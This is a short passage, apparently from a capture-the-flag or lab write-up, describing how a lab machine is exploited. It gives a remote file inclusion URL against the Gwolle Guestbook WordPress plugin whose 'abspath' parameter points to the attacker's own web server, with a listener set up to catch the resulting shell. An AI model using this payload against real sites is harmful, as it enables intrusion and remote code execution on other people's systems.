Exploitation

After setting up a HTTP sever and and a Listener we access the url on the target machine .

http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.34/